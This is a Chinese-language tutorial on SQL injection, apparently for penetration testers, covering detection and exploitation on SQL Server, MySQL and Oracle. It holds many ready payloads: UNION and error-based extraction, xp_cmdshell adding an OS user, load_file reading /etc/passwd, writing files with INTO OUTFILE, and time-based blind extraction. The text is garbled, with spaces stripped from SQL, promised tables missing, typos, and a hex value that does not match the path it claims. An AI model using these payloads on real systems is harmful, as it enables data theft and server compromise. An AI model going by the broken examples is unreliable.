SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入分类
1.数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条URL为:HTTP://www.aaa.com/test.phpid=1可以对后台的SQL语句猜测为:SELECT*FROMtableWHEREid=1
判断数字型漏洞的SQL注入点:
①先在输入框中输入一个单引号'
这样的SQL语句就会变为:
SELECT*FROMtableWHEREid=1',
不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。
②在输入框中输入and1=1
SQL语句变为:
SELECT*FROMtableWHEREid=1and1=1
语句正确,执行正常,返回的数据与原始请求无任何差异。
③在数据库中输入and1=2
SELECT*FROMtableWHEREid=1and1=2
虽然语法正确,语句执行正常,但是逻辑错误,因为1=2为永假,所以返回数据与原始请求有差异。
如果以上三个步骤全部满足,则程序就可能存在数字型SQL注入漏洞。
2.字符型注入
当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
假设后台的SQL语句如下:SELECT*FROMtableWHEREusername='admin'
判断字符型漏洞的SQL注入点:
①还是先输入单引号admin'来测试
SELECT*FROMtableWHEREusername='admin''。
页面异常。
②输入:admin'and1=1--
注意:在admin后有一个单引号',用于字符串闭合,最后还有一个注释符--(两条杠后面还有一个空格!!!)。
SELECT*FROMtableWHEREusername='admin'and1=1--
页面显示正确。
③输入:admin'and1=2--
SELECT*FROMtableWHEREusername='admin'and1=2--
页面错误。
满足上面三个步骤则有可能存在字符型SQL注入。
3.其他类型
其实我觉得SQL注入只有两种类型:数字型与字符型。很多人可能会说还有如:Cookie注入、POST注入、延时注入等。的确如此,但这些类型的注入归根结底也是数字型和字符型注入的不同展现形式或者注入的位置不同罢了。
以下是一些常见的注入叫法:
常见数据库的注入
攻击者对于数据库注入,无非是利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:
攻击者对于程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的SQL语句不一样罢了。
这里介绍三种数据库的注入:Oracle11g、MySQL5.1和SQLServer2008。
SQLServer
1.利用错误消息提取信息
SQLServer数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。
①枚举当前表或者列
假设选择存在这样一张表:
攻击者可以利用SQLServer特性来获取敏感信息,在输入框中输入如下语句:'having1=1--最终执行的SQL语句就会变为:SELECT*FROMuserWHEREusername='root'ANDpassword='root'HAVING1=1--
攻击者就可以发现当前的表名为user、而且存在字段id。
攻击者可以利用此特性继续得到其他列名,输入如下语句:'GROUPBYusers.idHAVING1=1--则SQL语句变为:SELECT*FROMuserWHEREusername='root'ANDpassword='root'GROUPBYusers.idHAVING1=1--
②.利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL编辑器将会抛出异常。
如下列SQL语句:SELECT*FROMuserWHEREusername='abc'ANDpassword='abc'AND1>(SELECTTOP1usernameFROMusers)
利用此方法可以递归推导出所有的账户信息:SELECT*FROMusersWHEREusername='abc'ANDpassword='abc'AND1>(SELECTTOP1usernameFROMusersWHEREnotin('root'))。通过构造此语句就可以获得下一个用户名;若把子查询中的username换成其他列名,则可以获取其他列的信息,这里就不再赘述。
2.获取元数据
SQLServer提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用UNION来构造SQL语句获取其中的数据。如:SELECT***FROM***WHEREid=***UNIONSELECT1,TABLE_NAMEFROMINFORMATION_SCHEMA.TABLES若当前表的列数为2,则可以UNION语句获取当前数据库表。具体怎么猜测当前表的列数,后面进行描述。
一些常用的系统数据库视图:
3.ORDERBY子句猜测列数
可以用ORDERBY语句来判断当前表的列数。
如:①SELECT*FROMusersWHEREid=1——SQL执行正常
②SELECT*FROMusersWHEREid=1ORDERBY1(按照第一列排序)——SQL执行正常
③SELECT*FROMusersWHEREid=1ORDERBY2(按照第二列排序)——SQL执行正常
④SELECT*FROMusersWHEREid=1ORDERBY3(按照第三列排序)——SQL执行正常
在得知列数后,攻击者通常会配合UNION关键字进行下一步的攻击。
4.UNION查询
UNION关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持UNION查询。但适用UNION合并两个结果有如下基本规则:
①用UNION查询猜测列数不仅可以用ORDERBY方法来猜测列数,UNION方法同样可以。
也可以将SELECT后面的数字改为null、这样不容易出现不兼容的异常。
②联合查询敏感信息在得知列数为4后,可以使用一下语句继续注入:UNIONSELECT'x',null,null,nullFROMSYSOBJECTWHERExtype='U'(注:xtype=‘U’表示对象类型是表)
若第一列的数据类型不匹配,数据库会报错,那么可以递归查询,直到语句兼容。等到语句正常执行,就可以将x换为SQL语句,查询敏感信息。
5.利用SQLServer提供的系统函数
SQLServer提供了非常多的系统函数,利用该系统函数可以访问SQLServer系统表中的信息,而无需使用SQL查询语句。
如:
6.存储过程
存储过程(StoredProcedure)是在大型数据库系统中为了完成特定功能的一组SQL“函数”,如:执行系统命令、查看注册表、读取磁盘目录等。
最终执行的SQL语句如下:SELECT*FROMtableWHEREid=1;execxp_cmdshell'netusertesttest/add'分号后面的那一段语句就可以为攻击者在对方服务器上新建一个用户名为test、密码为test的用户。注:并不是任何数据库用户都可以使用此类存储过程,用户必须持有CONTROLSERVER权限。
常见的危险存储过程如下表:
另外,任何数据库在使用一些特殊的函数或存储过程时,都需要特定的权限。常见的SQLServer数据库的角色与权限如下:
7.动态执行
SQLServer支持动态执行语句,用户可以提交一个字符串来执行SQL语句。
如:exec('SELECTusername,passwordFROMusers')
也可以通过定义十六进制的SQL语句,使用exec函数执行。大部分Web应用程序和防火墙都过滤了单引号,利用exec执行十六进制SQL语句可以突破很多防火墙及防注入程序,如:
MySQL
前面详细讲述了SQLServer的注入过程,在注入其他数据库时,基本思路是相同的,只不过两者使用的函数或者是语句稍有差异。
1.MySQL中的注释
MySQL支持以下3中注释风格:
MySQL5.0及其以上版本提供了INFORMATION_SCHEMA,这是一个信息数据库,它提供了访问数据库元数据的方式。下面介绍如何从中读取数据库名称、表名称以及列名称。
①查询用户数据库名称SELECTSCHEMA_NAMEFROMINFORMATION_SCHEMA.SCHEMATAINFORMATION_SCHEMA.SCHEMATA表提供了关于数据库的信息。
②查询当前数据表SELECTTABLE_NAMEFROMINFORMATION_SCHEMA.TABLESWHERETABLE_SCHEMA=(SELECTDATABASE())INFORMATION_SCHEMA.TABLES表给出了数据库中表的信息。
③查询指定表的所有字段SELECTCOLUMN_NAMEFROMINFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME='***'INFORMATION_SCHEMA.COLUMNS表中给出了表中的列信息。
3.UNION查询
与SQLServer大致相同,此处不赘述。
4.MySQL函数利用
无论是MySQL、Oracle还是其他数据库都内置了许多系统函数,这些数据库函数都非常类似,接下来介绍一些对渗透测试人员很有帮助的MySQL函数。
①load_file()函数读文件操作
MySQL提供了load_file()函数,可以帮助用户快速读取文件,但文件的位置必须在服务器上,文件必须为绝对路径,且用户必须有FILE权限,文件容量也必须小于max_allowed_packet字节(默认为16MB,最大为1GB)。
SQL语句如下:UNIONSELECT1,load_file('/etc/passwd'),3,4#
通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:UNIONSELECT1,load_file(0x2F6561342F706173737764),3,4#“0x2F6561342F706173737764”为“/etc/passwd”的十六进制转换结果。
在浏览器返回数据时,有可能存在乱码问题,那么可以使用hex()函数将字符串转换为十六进制数据。
②intooutfile写文件操作
MySQL提供了向磁盘写文件的操作,与load_file()一样,必须有FILE权限,并且文件必须为全路径名称。
写入文件:SELECT''intooufile'C:wwwroot.php'
③连接字符串
MySQL如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
SELECTnameFROMstudentWHEREid=1UNIONSELECTconcat(user(),',',database(),',',version());
也可以将逗号改用十六进制表示:0x2c
5.MySQL显错式注入
MySQL也存在显错式注入,可以像SQLServer数据库那样,使用错误提取消息。
①通过updatexml函数执行SQL语句
首先了解下updatexml()函数:updatexml(XML_document,XPath_string,new_value);第一个参数:XML_document是String格式,为XML文档对象的名称;第二个参数:XPath_string(Xpath格式的字符串),第三个参数:new_value,String格式,替换查找到的符合条件的数据
6.宽字节注入
宽字节注入是由编码不统一所造成的,这种注入一般出现在PHP+MySQL中。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie所接受的单引号(’)、双引号(")、反斜线()和NULL字符都会自动加上一个反斜线转义。
单引号'被转义后就变成了',在MySQL中,'是一个合法的字符,也就没办法闭合单引号,所以,注入类型是字符型时无法构成注入。
7.MySQL长字符截断
MySQL超长字符截断又名“SQL-Column-Truncation”。在MySQL中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT——ALL_TABLES选项时,MySQL对插入超长的值只会提示waring,而不是error。
那么攻击者只需要注册一个长度超过规定长度的用户名“admin”即可轻易进入后台管理页面。
8.延时注入
在MySQL中有一个函数:sleep(duration),这个函数意思是在duration参数给定数秒后运行语句,如下SQL语句:SELECT*FROMusersWHEREid=1ANDsleep(3)就是将在3秒后执行该SQL语句。
然后通过sleep()函数还可以读出数据,但需要其他函数的配合,步骤如下:①查询当前用户,并取得字符串长度执行SQL语句:ANDif(length(user())=0,sleep(3),1)如果出现3秒延时,就可以判断出user字符串长度,注入时通常会采用折半算法减少判断。
②截取字符串第一个字符,并转换为ASCII码ANDif(hex(mid(user(),1,1))=1,sleep(3),1)ANDif(hex(mid(user(),1,1))=2,sleep(3),1)……不断更换ASCII码直到出现延时3秒就可以猜测出第一个字符。
③递归截取字符串每一个字符,分别于ASCII码比较ANDif(hex(mid(user(),L,1))=N,sleep(3),1)注:L的位置代表字符串的第几个字符,N的位置代表ASCII码。
不仅在MySQL中存在延时函数,在SQLServer、Oracle等数据库中也都存在类似功能的函数,如SQLServer的waitfordelay、Oracle中的DBMS_LOCK.SLEEP等函数。
Oracle
1.获取元数据
Oracle也支持查询元数据,下面是Oracle注入常用的元数据视图:①user_tablespaces视图,查看表空间SELECTtablespace_nameFROMuser_tablespaces
②user_tables视图,查看当前用户的所有表SELECTtable_nameFROMuser_tablesWHERErownum=1
③user_tab_columns视图,查看当前用户的所有列,如查询user表的所有列:SELECTcolumn_nameFROMuser_tab_columnsWHEREtable_name='users'
④all_users视图,查看ORacle数据库的所有用户SELECTusernameFROMall_users
⑤user_objects视图,查看当前用户的所有对象(表名称、约束、索引)SELECTobject_nameFROMuser_objects
2.UNION查询
Oracle与MySQL一样不支持多语句执行,不像SQLServer那样可以用分号隔开从而注入多条SQL语句。
①获取列的总数获取列总数方法与前面两种数据库类似,依然可以使用ORDERBY子句来完成。
另一种方法是利用UNION关键字来确定,但是Oracle规定,每次查询时后面必须跟表的名称,否则查询将不成立。
在Oracle中可以使用:UNIONSELECTnull,null,null……FROMdual这里的dual是Oracle中的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。
然后获取非数字类型列,即可以显示出信息的列:UNIONSELECT'null',null,null,……FROMdualUNIONSELECTnull,'null',null,……FROMdual
把每一位的null依次用单引号’引起来,如果报错,则不是字符串类型的列;如果返回正常,则是字符串类型的列,就可以在相应的位置插入查询语句获取信息。